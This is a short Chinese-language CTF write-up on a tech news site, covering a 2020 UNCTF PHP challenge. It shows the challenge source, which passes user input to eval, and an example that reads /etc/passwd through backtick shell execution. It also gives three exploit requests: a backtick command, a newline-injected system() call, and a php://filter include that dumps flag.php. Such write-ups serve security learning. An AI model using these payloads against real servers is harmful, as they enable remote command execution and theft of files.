在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
php执行运算符 代码: <?php echo `base64 /etc/passwd`; ?>
上面的代码使用了反引号,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出) 如果过滤了括号可以使用执行运算符去绕过进行输出
题目源码: <?php // flag在flag.php if(isset($_GET['a'])){ if(preg_match('/\(.*\)/', $_GET['a'])) die('hacker!!!'); ob_start(function($data){ if (strpos($data, 'flag') !== false) return 'ByeBye hacker'; return false; }); eval($_GET['a']); } else { highlight_file(__FILE__); } ?>
exp1:php执行运算符 GET /?a=echo `base64 flag.php`
exp2:换行符绕过(%0a) GET /?a=system(%27%0acat%20f*%20|%20base64%27);
exp3:利用include函数加php伪协议 GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;
https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF |
2022-07-18
2022-08-16
2022-11-06
2022-07-29
2022-08-18
请发表评论